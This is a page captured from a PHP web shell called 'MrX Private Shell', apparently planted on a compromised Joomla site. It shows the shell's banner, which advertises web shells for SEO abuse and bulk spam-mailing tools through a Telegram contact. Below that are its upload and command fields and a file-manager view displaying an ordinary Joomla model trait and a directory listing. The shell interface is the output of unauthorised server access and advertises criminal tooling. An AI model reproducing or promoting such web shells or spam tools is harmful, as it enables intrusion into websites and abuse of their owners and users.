__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\MVC\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Trait which supports state behavior
 *
 * @since  4.0.0
 */
trait StateBehaviorTrait
{
    /**
     * Indicates if the internal state has been set
     *
     * @var    boolean
     * @since  4.0.0
     */
    protected $__state_set = null;

    /**
     * A state object
     *
     * @var    State
     * @since  4.0.0
     */
    protected $state = null;

    /**
     * Method to get state variables.
     *
     * @param   string  $property  Optional parameter name
     * @param   mixed   $default   Optional default value
     *
     * @return  mixed  The property where specified, the state object where omitted
     *
     * @since   4.0.0
     */
    public function getState($property = null, $default = null)
    {
        if ($this->state === null) {
            $this->state = new State();
        }

        if (!$this->__state_set) {
            // Protected method to auto-populate the state
            $this->populateState();

            // Set the state set flag to true.
            $this->__state_set = true;
        }

        return $property === null ? $this->state : $this->state->get($property, $default);
    }

    /**
     * Method to set state variables.
     *
     * @param   string  $property  The name of the property
     * @param   mixed   $value     The value of the property to set or null
     *
     * @return  mixed  The previous value of the property or null if not set
     *
     * @since   4.0.0
     */
    public function setState($property, $value = null)
    {
        if ($this->state === null) {
            $this->state = new State();
        }

        return $this->state->set($property, $value);
    }

    /**
     * Method to auto-populate the state.
     *
     * This method should only be called once per instantiation and is designed
     * to be called on the first call to the getState() method unless the
     * configuration flag to ignore the request is set.
     *
     * @return  void
     *
     * @note    Calling getState in this method will result in recursion.
     * @since   4.0.0
     */
    protected function populateState()
    {
    }
}

Filemanager

Name Type Size Permission Actions
Exception Folder 0775
AdminModel.php File 52.96 KB 0664
BaseDatabaseModel.php File 13.73 KB 0664
BaseModel.php File 3.99 KB 0664
DatabaseAwareTrait.php File 1.96 KB 0664
DatabaseModelInterface.php File 654 B 0664
FormBehaviorTrait.php File 6.71 KB 0664
FormModel.php File 7.62 KB 0664
FormModelInterface.php File 836 B 0664
ItemModel.php File 1.22 KB 0664
ItemModelInterface.php File 668 B 0664
LegacyModelLoaderTrait.php File 5.75 KB 0664
ListModel.php File 22.49 KB 0664
ListModelInterface.php File 649 B 0664
ModelInterface.php File 630 B 0664
State.php File 3.54 KB 0664
StateBehaviorTrait.php File 2.42 KB 0664
StatefulModelInterface.php File 1.17 KB 0664
WorkflowBehaviorTrait.php File 11.09 KB 0664
WorkflowModelInterface.php File 3.35 KB 0664
Filemanager